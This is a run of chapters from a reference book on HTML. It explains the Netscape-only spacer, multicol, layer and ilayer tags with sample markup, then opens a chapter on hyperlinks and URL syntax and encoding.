Native HTML has no way to create empty space on your page, short of using a <pre> tag filled with blank lines or an empty image. In fact, browsers--acting according to the HTML standard--remove leading, trailing, and any other extra spaces in text and ignore extra linefeeds. Netscape fills this void with the <spacer> tag. [the section called "The <pre> Tag"]

The <spacer> Tag

Use the <spacer> tag to create horizontal, vertical, and rectangular whitespace in your documents.

<spacer> (Netscape)
Function:

Define a blank area in a document

Attributes:

ALIGN
HEIGHT
SIZE
TYPE
WIDTH

End tag:

None

Contains:

Nothing

Used in:

text

Creating horizontal space

The most common use of the <spacer> tag is to create horizontal whitespace within a line of text. To achieve this effect, set the value of the type attribute to horizontal and use the size attribute to define the width, in pixels (not text characters), of the horizontal area. For example,

<spacer type=horizontal size=100>

inserts 100 pixels of space in line with the current line of text. Netscape appends subsequent content at the end of the spacer if sufficient space remains on the current line. Otherwise, it places the next element onto the next line, following the normal word-wrap behavior used by Netscape.

If there is not enough room to place the entire <spacer> tag's whitespace on the current line, the browser shortens the space to fit on the current line. In a sense, the size of the spacer is soft, telling the browser to insert up to the specified number of pixels until the end of the current line is reached.

For example, if a spacer is 100 pixels wide, and there are only 75 pixels of space remaining on the current line within the browser's display window, Netscape will insert 75 pixels of space into the line and place the next element at the beginning of the next line in the display. Accordingly, a horizontal spacer will never be broken across a line, creating space at the end of one line and the beginning of the next.

By far, the most common application of the horizontal spacer is to indent the first line of a paragraph. Simply place a horizontal spacer at the start of a paragraph to get the desired result:

<spacer type=horizontal size=50>
The effects of cooler weather on the kumquat's ripening process
vary based upon the temperature.  Temperatures above 28&deg;
sweeten the fruit, while four or more hours below 28&deg; will
damage the tree.

The results can be seen in Figure 6.1.

Figure 6.1: Indenting a paragraph with a horizontal <spacer>

[Graphic: Figure 6-1]

Of course, you also can use horizontal spacers to insert additional space between letters or words in a line of text. This might be useful for displaying poetry or specialized ad copy. But don't use a spacer to create an indented block of text--you cannot predict the size of the user's browser window, font sizes, and so forth, and, hence, where it will break a particular line of text. Instead, use the <blockquote> tag or adjust the paragraph's left margin with an appropriate style.

Creating vertical space

You may insert extra whitespace between lines of text and paragraphs in your documents by setting the type attribute in the <spacer> tag to vertical. The size attribute must also be included. Make its value a positive integer equal to the amount of whitespace, in pixels.

The vertical spacer acts just like the <br> tag. Both tags cause an immediate line break. The difference is, of course, that with the vertical spacer you control how far below the current line of text Netscape should start the subsequent line. The white space is added to--and therefore is never less than--the normal amount of space that would appear below the current line of text as a result of the paragraph's line spacing.

Since HTML pages are infinitely tall, the vertical space may be any number of pixels high. Of course, it'd be sophomoric to be excessive (oh, okay, try size=100000000). Most of today's monitors have a vertical scan of no more than 1,024 lines. So a vertical pixel size value of 1025 ensures that the next line of text will be placed off the user's screen, if that is the effect you desire.

Vertical spacers aren't quite as common as horizontal spacers, but they can still be useful. In the following text, we've used a vertical spacer to provide a bit more separation between the document's header and the regular text:

<h1 align=right>Temperature Effects</h1>
<spacer type=vertical size=50>
The effects of cooler weather on the kumquat's ripening process
vary based upon the temperature.  Temperatures above 28&deg;
sweeten the fruit, while four or more hours below 28&deg; will
damage the tree.

The results can be seen in Figure 6.2.

Figure 6.2: Using a vertical <spacer> to separate a header from the text

[Graphic: Figure 6-2]

Creating blocks of space

The third spacer type creates a rectangular block of blank space, much like a blank image. Set the type attribute to block and include three other attributes to fully define the space: width, height, and align.

The width and height attributes specify the size of the spacer in pixels. These attributes are used only when the type attribute is set to block and are otherwise ignored. Similarly, the size attribute is ignored when the <spacer> type is block. You must give a positive integer value to both the width and height attributes; their default value is zero.

The third required spacer block attribute, align, controls how Netscape places the empty block relative to the surrounding text. The values for this attribute are identical to those for the align attribute in the <img> tag. Use the top, texttop, middle, absmiddle, baseline, bottom, and absbottom values to obtain the desired vertical alignment of the block spacer. Use the left and right values to force the block spacer to the indicated margin and cause the following text to flow up and around the spacer. The default value is bottom. For a complete description of the align attribute and its values, see the section called "The align attribute".

As an example, this HTML fragment places the compass points around an empty area:

<center>
North
<br>
West
<spacer type=block width=50 height=50 align=absmiddle>
East
<br>
South
</center>

The resulting document is shown in Figure 6.3.

Figure 6.3: Using a block spacer to create space in a document

[Graphic: Figure 6-3]

Mimicking the <spacer> Tag

Since only Netscape supports the <spacer> tag, other browsers ignore it, ruining your carefully contrived layout. It is possible to completely emulate the <spacer> tag using the <img> tag and a special, small image. And, as we mentioned earlier, new HTML style sheet properties also let you do much of what <spacer> does, in a more orderly and comprehensive fashion, too.

For an image to emulate <spacer>, you'll need a GIF image that is completely transparent. Since no part of the image will ever be seen, you can make it as small as you'd like; we recommend a 1x1 pixel GIF image. In the following examples, our tiny 1x1 pixel transparent image is named small.gif.

To emulate a horizontal spacer of the form:

<spacer type=horizontal size=n>

use this <img> tag:

<img src=small.gif width=n height=1>

Replace n with the desired pixel width, of course. Keep in mind, however, that the width of the <img> tag is fixed and may not integrate into the text flow exactly like the <spacer> tag would, especially if the <img> tag falls at or near the end of a line of text.

To emulate a vertical spacer of the form:

<spacer type=vertical size=n>

use this HTML fragment:

<br>
<img src=small.gif width=1 height=n>
<br>

The <br> tags are needed to emulate the line-breaking behavior of the vertical spacer. Again, replace n with the desired height.

To emulate a block spacer of the form:

<spacer type=block width=w height=h align=a>

use this <img> tag:

<img src=small.gif width=w height=h align=a>

Replace w, h, and a with the desired width, height, and alignment values.

Given that simple replacements exist for all the variants of the <spacer> tag, you might wonder why it is needed at all. If nothing else, the <spacer> tag will render faster, since the equivalent <img> tag will require that an image be retrieved from a server and scaled before it is inserted into your text. While this is a small issue for most users, there may be cases where using the <spacer> tag in lieu of an <img> tag makes sense.

Previous | Home | Next
Beyond HTML | Book Index | Multicolumn Layout
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 6] 6.2 Multicolumn Layout

HTML: The Definitive Guide

Previous Chapter 6
Document Layout 		Next

6.2 Multicolumn Layout

Multicolumn text formatting is one of the most commonly used features of desktop publishing. In addition to creating attractive pages in a variety of formats, multiple columns let you present your text using shorter, easier-to-read lines. HTML page designers have longed for the ability to easily create multiple text columns in a single page, but have been forced to use various tricks, such as multicolumn tables (see Chapter 15, Tips, Tricks, and Hacks).

Netscape has neatly solved this problem by supporting the unique <multicol> tag. While fancy unbalanced columns and straddling are not possible with this tag, as they are with tables, conventionally balanced text columns are easy to create with <multicol>. And while this capability is available only with Netscape, the <multicol> tag degrades nicely in other browsers.

The <multicol> Tag

The <multicol> tag creates multiple columns of text and lets you control the size and number of columns.

<multicol> (Netscape)
Function:

Format text with multiple columns

Attributes:

CLASS
COLS
GUTTER
STYLE
WIDTH

End tag:

</multicol>; always used

Contains:

body_content

Used in:

block

The <multicol> tag can contain any other HTML content, much like the <div> tag. All of the content within the <multicol> tag is displayed just like conventional content, except that Netscape places the contents into multiple columns instead of just one.

The <multicol> tag creates a break in the text flow and inserts a blank line before rendering its content into multiple columns. After the tag, another blank line is added and the text flow resumes using the previous layout and formatting.

Netscape automatically balances the columns, making each approximately the same length. Where possible, the browser moves text between columns to accomplish the balancing. In some cases, the columns cannot be perfectly balanced because of embedded images, tables, or other large elements.

You can nest <multicol> tags, embedding one set of columns within another set of columns. While infinite nesting is supported, more than two levels of nesting is generally impractical and results in unattractive text flows.

The cols attribute

The cols attribute is required by the <multicol> tag to define the number of columns. If omitted, Netscape creates just one column, as if the <multicol> tag isn't there at all. You may create any number of columns, but in practice, more than three or four columns make text unreadable on most displays.

The following example creates a three-column layout:

<h1 align=right>Temperature Effects</h1>
<multicol cols=3>
The effects of cooler weather on the kumquat's ripening process
vary based upon the temperature.  Temperatures above 28&deg;
sweeten the fruit, while four or more hours below 28&deg; will
damage the tree.  The savvy quat farmer will carefully monitor
the temperature, especially in the predawn hours when the
mercury dips to its lowest point.  Smudge pots and grove heaters
may be required to keep the trees warm; many growers will spray
the trees with water to create an insulating layer of ice over
the fruit and leaves.
<p>
If a disastrous frost is predicted, below 20&deg;, the only
recourse may be to harvest the fruit early to save it from an
assured disaster.  Kumquats may subsequently be ripened using
any of the popular methane and cyanoacrylate injection systems
used for other citrus fruits.  Used correctly, these systems will
produce fruit whose taste is indistinguishable from tree-ripened
kumquats.
</multicol>

The results are shown in Figure 6.4.

Figure 6.4: A three-column <multicol> document segment

[Graphic: Figure 6-4]

You can see in Figure 6.4 how Netscape has balanced the columns to approximately equal lengths. You also can see how several lines within the columns appear shorter, since longer words were wrapped to the next line of text. These overly ragged right margins within the columns are unavoidable and serve to emphasize that you shouldn't create more than four or five columns in a flow. Our example is still barely readable if displayed as five columns; it breaks down completely and even induces rendering errors if cols is set to 7, as shown in Figure 6.5.

Figure 6.5: Too many columns create unreadable pages

[Graphic: Figure 6-5]

The gutter attribute

The space between columns is known as the gutter. By default, Netscape creates a gutter 10 pixels wide between each of your columns. To change this, set the gutter attribute's value to the desired width in pixels. Netscape will reserve this much space between your columns; the remaining space will be used for the columns themselves.

Figure 6.6 shows the effect this can have on your columns. In this figure, we've reformatted our sample text using <multicol cols=3 gutter=50>. Contrast this with Figure 6.4, which uses the default 10 pixel gutters.

Figure 6.6: Gutter widths can be changed with the gutter attribute

[Graphic: Figure 6-6]

The width attribute

Normally, the <multicol> tag fills the current width of the current text flow. To have your multiple columns occupy a thinner space, or to extend them beyond the visible window, use the width attribute to specify the overall width of the <multicol> tag. The columns will be resized so that the columns plus the gutters fill the width you've specified.[1] The width may be specified as an absolute number of pixels or as a percentage of the width of the current text flow.

[1] To be exact, each column will be (w-g(n-1))/n pixels wide, where w is the width of the <multicol> tag, g is the width of a gutter, and n is the number of columns. Thus, using <multicol cols=3 gutter=10 width=500> creates columns that are 160 pixels wide.

Figure 6.7 shows the effects of adding width="75%" to our column example, retaining the default gutter width of 10 pixels.

Figure 6.7: Changing the width of the <multicol> tag

[Graphic: Figure 6-7]

Be careful when you reduce the size of your columns if they include images or other fixed-width elements. Netscape will not wrap text around images that extend beyond the boundaries of a column. Instead, the image simply covers the adjacent columns, ruining your document. Always make sure that embedded elements in columns are small enough to fit within your columns, even on fairly small browser displays.

The style and class attributes

Use the style attribute with the <multicol> tag to create an inline style for all the content inside the tag. The class attribute lets you label the section with a name that refers to a predefined class of the <muticol> tag declared in some document-level or externally defined style sheet. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"].

Multiple Columns and Other Browsers

As we've noted, the <multicol> tag is supported only by Netscape. Fortunately, when other browsers encounter the <multicol> tag, they ignore it and render the enclosed text as part of the normal text flow, usually with little consequent disruption to the document.

The only problem may be that the contents of the <multicol> tag flow up into the previous flow, without an intervening break. For that reason, you might consider preceding every <multicol> tag with a <p> tag. Netscape won't mind, and other browsers will at least perform a paragraph break before rendering your multicolumn text in a single column.

It is possible emulate the <multicol> tag using tables, but the results are crude and difficult to manage across multiple browsers. To do so, create a single row table with a cell for each column. Place an appropriate amount of the text flow in each cell to achieve balanced columns. The difficulty, of course, is that the "appropriate amount" varies wildly between browsers, making it almost impossible to create multiple columns that are attractive on several different browsers.

If you must have multiple columns, and can tolerate your columns reverting to a single column on incompatible browsers, we recommend you use the <multicol> tag.

Effective Multicolumn Layouts

We've offered advice on columns throughout these sections. Here is a quick recap of our tips for creating effective column layouts:

  • Use a small number of columns.

  • Don't use excessively wide gutters.

  • Ensure that embedded elements like images and tables fit in your columns on most displays.

  • Precede each <multicol> tag with a <p> tag to improve your document's appearance on other browsers.

  • Avoid nesting <multicol> tags more than two deep.

Previous | Home | Next
Creating Whitespace | Book Index | Layers
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 6] 6.3 Layers

HTML: The Definitive Guide

Previous Chapter 6
Document Layout 		Next

6.3 Layers

Spacers and multiple columns are natural extensions to conventional HTML, existing within a document's normal flow. The latest version of Netscape (4.0) takes HTML into an entirely new dimension with layers. It transforms the single-element document model into one containing many layered elements that are combined to form the final document.

Layers supply the layout artist with a most critical element missing in standard HTML: absolute positioning of content within the browser window. In a nutshell, layers let you define a self-contained unit of HTML content that can be positioned anywhere in the browser window, placed above or below other layers, and made to appear and disappear as you desire. Document layouts that were impossible with conventional HTML are trivial with layers.

If you think of your document as a sheet of paper, layers are like sheets of clear plastic laid atop your document. For each layer, you define the content of the layer, its position relative to the base document, and the order in which it is placed on the document. Layers can be transparent or opaque, visible or hidden, providing an endless combination of layout options.

The <layer> Tag

HTML document content layers are each defined with the <layer> tag.

<layer> (Netscape)
Function:

Define a layer of content within a document

Attributes:

ABOVE
BACKGROUND
BELOW
BGCOLOR
CLASS
CLIP
LEFT
NAME
SRC
STYLE
TOP
VISIBILITY
WIDTH
Z-INDEX

End tag:

</layer>; always used

Contains:

body_content

Used in:

block

A layer can be thought of as a miniature HTML document whose content is defined between the <layer> and </layer> tags. Alternatively, the content of the layer can be retrieved from another HTML document by using the src attribute with the <layer> tag.

Regardless of its origin, Netscape formats a layer's content exactly like a conventional document, except that the result is contained within that separate layer, apart from the rest of your document. You control the position and visibility of this layer using the attributes of the <layer> tag.

Layers may be nested, too. Nested layers move with the containing layer and are visible only if the containing layer itself is visible.

The name attribute

If you plan on creating a layer and never referring to it, you needn't give it a name. However, if you plan to stack other layers relative to the current layer, as we demonstrate later in this chapter, or modify your layer using JavaScript, you'll need to name your layers using the name attribute. The value you give name is a text string, whose first character must be a letter, not a number or symbol.

Once named, you can refer to the layer elsewhere in the document, and change it while the user interacts with your page. For example, this bit of HTML:

<layer name="warning" visibility=hide>
Warning!  Your input parameters were not valid!
</layer>

creates a layer named warning that is initially hidden. If in the course of validating a form using a JavaScript routine, you find an error and want to display the warning, you would use the command:

warning.visibility = show;

Netscape then makes the layer visible to the user.

The left and top attributes

Without attributes, a layer gets placed in the document window as if it were part of the normal document flow. Layers at the very beginning of a document get put at the top of the Netscape window; layers that are between conventional document content get placed in line with that content.

The power of layers, however, is that you can place them anywhere in the document. Use the top and left attributes for the <layer> tag to specify its absolute position in the document display.

Both attributes accept an integer value equal to the number of pixels offset from the top left (0,0) edge of the document's display space or, if nested inside another layer, the containing layer's display space. As with other document elements whose size or position extends past the edge of the browser's window, Netscape gives the user scrollbars so that they can access layered elements outside the current viewing area.

Here is a simple layer example that staggers three words diagonally down the display--not something you can do easily, and certainly not with the same precision, in conventional HTML:

<layer left=10 top=10>
  Upper left!
</layer>
<layer left=50 top=50>
  Middle!
</layer>
<layer left=90 top=90>
  Lower right!
</layer>

The result is shown in Figure 6.8.

Figure 6.8: Simple text positioning with the <layer> tag

[Graphic: Figure 6-8]

Admittedly, this example is a bit dull. Here's a better one that creates a drop shadow behind a heading:

<layer>
  <layer left=2 top=2>
    <h1><font color=gray>Introduction to Kumquat Lore</font></h1>
  </layer>
  <layer left=0 top=0>
    <h1>Introduction to Kumquat Lore</h1>
  </layer>
</layer>
<h1>&nbsp;</h1>
Early in the history of man, the kumquat played a vital role in the formation of religious beliefs.  Central to annual harvest celebrations was the day upon which kumquats ripened.  Likened to the sun (<i>sol</i>), the golden fruit was taken (<i>stisus</i>) from the trees on the day the sun stood highest in the sky.  We carry this day forward even today, as our summer <i>solstice</i>.

Figure 6.9 shows the result.

Figure 6.9: Creating drop shadow effects with multiple layers

[Graphic: Figure 6-9]

We used a few tricks to create the drop shadow effect for the example header. First, Netscape covers layers created earlier in the document by later layers. Hence, we create the gray shadow first, followed by the actual heading, so that it appears on top, above the shadow. We also enclosed these two layers in a separate containing layer. This way, the shadow and header positions are relative to the containing layer, not the document itself. The containing layer, lacking an explicit position, gets placed into the document flow as if it were normal content and winds up where a conventional heading would appear in the document.

Normal document content, however, still starts at the top of the document, and would end up behind the fancy heading. To push it below the layered heading, we include an empty heading (save for a nonbreaking space--&nbsp;) before including our conventional document text.

This is important enough to repeat: normal document content following a <layer> tag is positioned directly under the layer it follows. This effect can be circumvented using an inline layer, described in the section called "The <ilayer> Tag".

The above, below, and z-index attributes

Layers exist in three dimensions, occupying space on the page and stacked atop one another and the conventional document content. As we mentioned above, layers normally get stacked in order of their appearance in the document--layers at the beginning get covered by later layers in the same display area.

You can control the stacking order of the layers with the above, below, and z-index attributes for the <layer> tag. These attributes are mutually exclusive; use only one per layer.

The value for the above or below attribute is the name of another layer in the current document. Of course, that referenced layer must have a name attribute whose value is the same name you use with the above or below attribute in the referring <layer> tag. You also must have created the referenced layer earlier in the document; you cannot refer to a layer that comes later in your document.

In direct contradiction with what you might expect, Netscape puts the current layer below the above named layer, and above the below named layer.[2] Oh, well. Note that the layers must occupy the same display space for you to see any effects.

[2] One cannot help but wonder if the above and below attributes were implemented in the wee hours of the morning.

Let's use our drop shadow layer example again to illustrate the above attribute:

<layer>
  <layer name=text left=0 top=0>
    <h1>Introduction to Kumquat Lore</h1>
  </layer>
  <layer name=shadow above=text left=2 top=2>
    <h1><font color=gray>Introduction to Kumquat Lore</font></h1>
  </layer>
</layer>

The above attribute in the layer named shadow tells Netscape to position the shadow layer so that the layer named text is above it.

The above and below attributes can get confusing when you stack several layers. We find it somewhat easier to use the z-index attribute for keeping track of which layers go over which. With z-index, you specify the order in which Netscape stacks the layers: higher z-index value layers get put on top of lower z-index value layers.

For example, to create our drop shadow using the z-index attribute:

<layer>
  <layer left=0 top=0 z-index=2>
    <h1>Introduction to Kumquat Lore</h1>
  </layer>
  <layer left=2 top=2 z-index=1>
    <h1><font color=gray>Introduction to Kumquat Lore</font></h1>
  </layer>
</layer>

Normally, Netscape would display the second layer--the gray one in this case--on top of the first layer. But since we've given the gray layer a lower z-index value, it is placed behind the first layer.

The z-index values need not be sequential, although they must be integers, so we could've used the values 99 and 2, respectively, and gotten the same result in the previous example. And you need not specify a z-index for all the layers that occupy the same display space--only those you want to raise or lower in relation to other layers. However, be aware that the order of precedence may get confusing if you don't z-index all related layers.

For instance, what order of precedence by color would you predict when Netscape renders the following sequence of layers?

<layer left=0 top=0 z-index=3>
  <h1><font color=red>Introduction to Kumquat Lore</font></h1>
</layer>
<layer left=4 top=4>
  <h1><font color=green>Introduction to Kumquat Lore</font></h1>
</layer>
<layer left=8 top=8 z-index=2>
  <h1><font color=blue>Introduction to Kumquat Lore</font></h1>
</layer>

Give yourself a star if you said that the green header goes on top of the red header which goes on top of the blue header. Why? Because the red header is of lower priority than the green header based on order of appearance, and we forced the blue layer below the red one by giving it a lower z-index value. Netscape displays z-indexed layers according to their given order and non-z-indexed layers according to their order of appearance in the document. Precedence based on order of appearance also applies for layers that have the same z-index value. If you nest layers, all the layers at the same nesting level get ordered according to their z-index attributes. This group is then ordered as a single layer among all the layers at the containing level. In short, layers nested within a layer cannot be interleaved among layers at a different level.

For example, consider these nested layers, with their content and end tags omitted for clarity (indentation indicates nest level):

<layer name=a z-index=20>
  <layer name=a1 z-index=5>
  <layer name=a2 z-index=15>
<layer name=b z-index=30>
  <layer name=b1 z-index=10>
  <layer name=b2 z-index=25>
  <layer name=b3 z-index=20>
<layer name=c z-index=10>

Layers a, b, and c are at the same level, with layers a1 and a2 nested with a, and b1, b2, and b3 nested within b. Although the z-index numbers might at first glance appear to cause Netscape to interleave the various nested layers, the actual ordering of the layers, from bottom to top, is c, a, a1, a2, b, b1, b3, and b2.

If two layers are nested within the same layer and have the same z-index value, the layer defined later in the document is placed on top of the previously defined layer.[3]

[3] This, of course, applies to layers inside the same containing nest only.

The background and bgcolor attributes

Like the corresponding attributes for the <body> tag, you may define the background color and an image for the layer with the bgcolor and background attributes, respectively.[4] By default, the background of a layer is transparent, allowing lower layers to show through.

[4] Note that you may also control the background color, as well as many other display features of not just a single, but all <layer> tags within your document using style sheets. See the section called "The style and class attributes".

The bgcolor attribute accepts a color name or RGB triple as its value, as defined in Appendix F, Color Names and Values. If specified, Netscape sets the entire background of the layer to this color, rendering the layer opaque. This attribute is handy for creating a colored box behind text, as a highlighting or attention-getting mechanism. It will, however, hide any layers below it, including conventional HTML content.

The background attribute accepts the URL of an image as its value. The image is tiled to fill the area occupied by the layer. If portions of the image are transparent, those portions of the layer will be transparent and underlying layers will show through.

If you include both attributes, the background color will show through the transparent spots in the background image. The whole layer will be opaque.

The background attribute is useful for placing a texture behind text, but it fails miserably when the goal is to render text in front of a fixed image. Since the size of a layer is dictated by its contents, not the background image, using the image as the background will cause it to be clipped or tiled, depending on the size of the text. To place text reliably atop an image, use one layer nested within another:

<layer>
  <img src="sunset.gif">
  <p>
  <layer top=75>
    <h2 align=center>And they lived happily ever after...</h2>
  </layer>
</layer>

Netscape sets aside space for the entire image in the outer layer. The inner layer occupies the same space, except that we shift it down 75 pixels to align the text better over the image. The result is shown in Figure 6.10.

Figure 6.10: Placing text over an image using layers

[Graphic: Figure 6-10]

The visibility attribute

Layers, by default, are usually seen (but most often not heard). You can change that by setting the visibility attribute to show, hide, or inherit. As expected, show forces the layer to be seen, hide hides it from view, and inherit explicitly declares that you want the layer to inherit its parent's visibility. The default value for this attribute is inherit. Layers that are not nested are considered to be children of the main document, which is always visible. Thus, non-nested layers lacking the visibility attribute are initially visible.

It makes little sense to hide layers unless you plan to reveal them later. In general, this attribute is only used when you include some JavaScript routines with your document that will reveal the hidden layers as a result of some user interaction. [the section called "JavaScript"]

Layers that are hidden do not block layers below them from view. Instead, a hidden layer can best be thought of as being transparent. One way to hide content in the main document is to place an opaque layer over the content. To display the hidden context, hide the opaque layer, revealing the content underneath.

The width attribute

Layers are only as big as necessary to contain their content. The initial width of a layer is defined to be the distance from the point at which the layer is created in the current text flow to the right margin. Netscape then formats the layer's contents to that width and makes the height of the layer tall enough to contain all of the layer's contents. If the contents of the layer wind up smaller than the initial width, the layer's width is then reduced to this smaller amount.

You can explicitly set the width of a layer using the width attribute. The value of this attribute defines the width of the layer in pixels. As expected, Netscape then sets the height based upon the size of the layer's contents, wrapped to the specified width. If elements in the layer--such as images--cannot be wrapped and instead extend past the right margin of the layer, only a portion of the element will be shown. The remainder will be clipped by the edge of the layer and not shown. This is similar to the behavior of an image in the main document window. If the image extends beyond the edge of the browser window, only a portion of the image is displayed. Unlike the browser window, however, layers cannot sport scrollbars allowing the user to scroll around in the layer's contents.

The src attribute

The contents of a layer are not restricted to what you type between its <layer> and </layer> tags; you can also refer to and automatically load the contents of another document into the layer with the src attribute. The value of the src attribute is the URL of the document containing the layer's content.

This document is not a full-fledged HTML document and in particular, should not contain <body> or <head> tags. Any other HTML content is allowed.

You can combine conventional layer content with content taken from another file by using both the src attribute and placing content within the <layer> tag. In this case, the content from the file is placed in the layer first, followed by any inline content within the tag itself. If you choose to use the src attribute without supplying additional inline content, you still must supply the closing </layer> tag to end the definition of the layer.

The src attribute provides, for the first time, a source inclusion capability in HTML. Previously, to insert content from one HTML document within another, you had to rely on a server-based capability to read the other file and insert it into your document at the correct location. Since layers are positioned, by default, at their defining point within the current flow, including another file in your document is simple:

...other content
<layer src="boilerplate"></layer>
...more content

Since a layer is rendered as a separate HTML entity, the contents of the included file will not be flowed into the containing text. Instead, it is as if the inserted text were contained within a <div> tag or other block-level HTML element.

The clip attribute

Normally, users see the entire layer unless it is obscured by a covering layer. With the clip attribute, you can mask off portions of a layer, revealing only a rectangular portion within the layer.

The value of the clip attribute is two or four integer values, separated by commas, defining pixel offsets into the layer corresponding to the left, top, right, and bottom edges of the clip area. If only two values are supplied, they correspond to the right and bottom edges of the visible area, and Netscape then assumes that the top and left values are zero. Therefore, clip="75,100" is equivalent to clip="0,0,75,100".

The area of the layer outside the visible area is made transparent, allowing whatever is under the layer to show through.

The clip attribute is handy for hiding portions of a layer, or for creating fade and wipe effects using JavaScript functions to change the clipping window over time.

The style and class attributes

Use the style attribute with the <layer> tag to create an inline style for all the content inside a layer. The class attribute lets you label the layer with a name that refers to a predefined class of the <layer> tag declared in some document-level or externally defined stylesheet. Accordingly, you may choose to use a style sheet instead of individual and redundant bgcolor tag attributes to define a background color for all your document layers or for a particular class of layers. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"].

The <ilayer> Tag

While you control the position of a <layer> using top and left attribute coordinates relative to the document's entire display space, Netscape provides a separate tag--<ilayer>--that lets you position individual layers with respect to the current flow of content, much like an inline image.

<ilayer> (Netscape)
Function:

Define an inline layer of content within a text flow

Attributes:

ABOVE
BACKGROUND
BELOW
BGCOLOR
CLASS
CLIP
LEFT
NAME
SRC
STYLE
TOP
VISIBILITY
WIDTH
Z-INDEX

End tag:

</ilayer>; always used

Contains:

body_content

Used in:

text

An <ilayer> tag creates a layer that occupies space in the containing text flow. Subsequent content is placed after the space occupied by the <ilayer>. This is in contrast to the <layer> tag, which creates a layer above the containing text flow, allowing subsequent content to be placed under the layer just created.

The <ilayer> tag removes the need for an enclosing, attribute-free <layer> that serves to put a nest of specially positioned layers inline with the content flow, much like we did in most of the examples in the previous sections of this chapter. The attributes of the <ilayer> are the same as those for the <layer> tag.

The top and left attributes

The only attributes that distinguish the actions of the <ilayer> tag from its <layer> sibling are the top and left attributes: Netscape renders <ilayer> content directly in the containing text flow, offset by the top and left attribute values from the upper-left corner of that inline position--not the document's upper-left display corner, as with <layer>. Netscape will also accept negative values for the top and left attributes of the <ilayer> tag, letting you shift the contents above and to the left of the current flow.

For example, to subscript, superscript, or shift words within the current line, you could use:

This <ilayer top=4>word</ilayer> is shifted down, while
this <ilayer left=10>one</ilayer> is shifted over.  With a negative
value, words can be moved <ilayer top=-4>up</ilayer> and to
the <ilayer left=-10>left</ilayer>.

The resulting effects are shown in Figure 6.11. Notice how the shifted words overlap and obscure the surrounding text. Netscape makes no effort to make room for the shifted elements; they are simply placed in a different spot on the page.

Figure 6.11: Moving inline layers with respect to the adjacent text

[Graphic: Figure 6-11]

Combining <layer> and <ilayer>

Anything you can create with a regular layer can be used within an inline layer. However, do bear in mind always that the top and left attribute offsets are indeed from the <ilayer> content's allotted position, not from the document display space. Accordingly, use <ilayer> to position content inline with the conventional HTML document flow, and <layer> to position elements and content precisely in the document display space.

Also (and fortunately), Netscape does not distinguish between <ilayer> and <layer> tags when it comes to order of appearance. You may declare that an <ilayer> appear below some <layer> by using the name and above attributes:

<layer name=me>I'm on top</layer>
<ilayer above=me>I'm on the bottom</ilayer>

Similarly, you may reorder the appearance of both absolute and inline layers where they overlap by assigning z-index attribute values to the various elements. Nesting rules apply, as well.

Previous | Home | Next
Multicolumn Layout | Book Index | Links and Webs
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] Links and Webs

HTML: The Definitive Guide

Previous Chapter 7 Next

7. Links and Webs

Contents:
Hypertext Basics
Referencing Documents: The URL
Creating Hyperlinks
Creating Effective Links
Mouse-Sensitive Images
Creating Searchable Documents
Establishing Document Relationships
Supporting Document Automation

Until this point, we've dealt with HTML documents as standalone entities, concentrating on the language elements you use for structure and to format your work. The true power of HTML, however, lies in its ability to join collections of documents together into a full library of information, and to link documents with other collections around the world. Just as readers have considerable control over how the document looks onscreen, with hyperlinks they also have control over the order of presentation as they navigate through your information. It's the "HT" in HTML--hypertext--and it's the twist that spins the Web.

7.1 Hypertext Basics

A fundamental feature of hypertext is that you can hyperlink documents; you can point to another place inside the current document, inside another document in the local collection, or inside a document anywhere on the Internet. The documents thereby become an intricately woven web of information. Get the name analogy now? The target document is usually somehow related to and enriches the source; the linking element in the source should convey that relationship to the reader.

Hyperlinks can be used for all kinds of effects. They can be used inside tables of contents and lists of topics. With a click of the mouse on their browser screen, readers select and automatically jump to a topic of interest in the same document or to another document located in an entirely different collection somewhere around the world.

Hyperlinks also point readers to more information about a mentioned topic. "For more information, see `Kumquats on Parade,'" for example. HTML authors use hyperlinks to reduce repetitive information. For instance, we recommend you sign your name to each of your documents. Rather than include full contact information in each document, a hyperlink connects your name to a single place that contains your address, phone number, and so forth.

A hyperlink, or anchor in HTML standard parlance, is marked by the <a> tag and comes in two flavors. As we detail below, one type of anchor creates a hot spot in the document that, when activated and selected (usually with a mouse) by the user, causes the browser to link. It automatically loads and displays another portion of the same or another document altogether, or triggers some Internet service-related action, such as sending email or downloading a special file. The other type of anchor creates a label, a place in an HTML document that can be referenced as a hyperlink.[1]

[1] Both types of HTML anchors use the same tag; perhaps that's why they have the same name. Nonetheless, we find it's easier if you differentiate them and think of the one type that provides the hotspot and address of a hyperlink as the "link," and the other type that marks the target portion of a document as the "anchor."

There also are some mouse-related events associated with hyperlinks that, through the new JavaScript technologies, let you perform some new and exciting effects.

URLs

Previous | Home | Next
Layers | Book Index | Referencing Documents: The URL
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] 7.2 Referencing Documents: The URL

HTML: The Definitive Guide

Previous Chapter 7
Links and Webs 		Next

7.2 Referencing Documents: The URL

As we discussed earlier, every document on the World Wide Web has a unique address. (Imagine the chaos if they didn't.) The document's address is known as its uniform resource locator (URL).[2]

[2] "URL" usually is pronounced "you are ell," not "earl."

Several HTML tags include a URL attribute value, including hyperlinks, inline images, and forms. All use the same URL syntax to specify the location of a Web resource, regardless of the type or content of that resource. That's why it's known as a uniform resource locator.

Since they can be used to represent almost any resource on the Internet, URLs come in a variety of flavors. All URLs, however, have the same top-level syntax:

scheme:scheme_specific_part

The scheme describes the kind of object the URL references; the scheme_specific_part is, well, the part that is peculiar to the specific scheme. The important thing to note is that the scheme is always separated from the scheme_specific_part by a colon with no intervening spaces.

Writing a URL

URLs are written using the displayable characters in the US-ASCII character set. If you need to use a character in a URL that is not part of this character set, you must encode the character using a special notation. The encoding notation replaces the desired character with three characters: a percent sign and two hexadecimal digits whose value corresponds to the position of the character in the ASCII character set.

This is easier than it sounds. One of the most common encoded special characters is the space character, whose position in the character set is 20 hexadecimal. To encode a space in a URL, replace it with %20:

http://www.kumquat.com/new%20pricing.html

This URL actually retrieves a document named new pricing.html from the server.

Handling reserved and unsafe characters

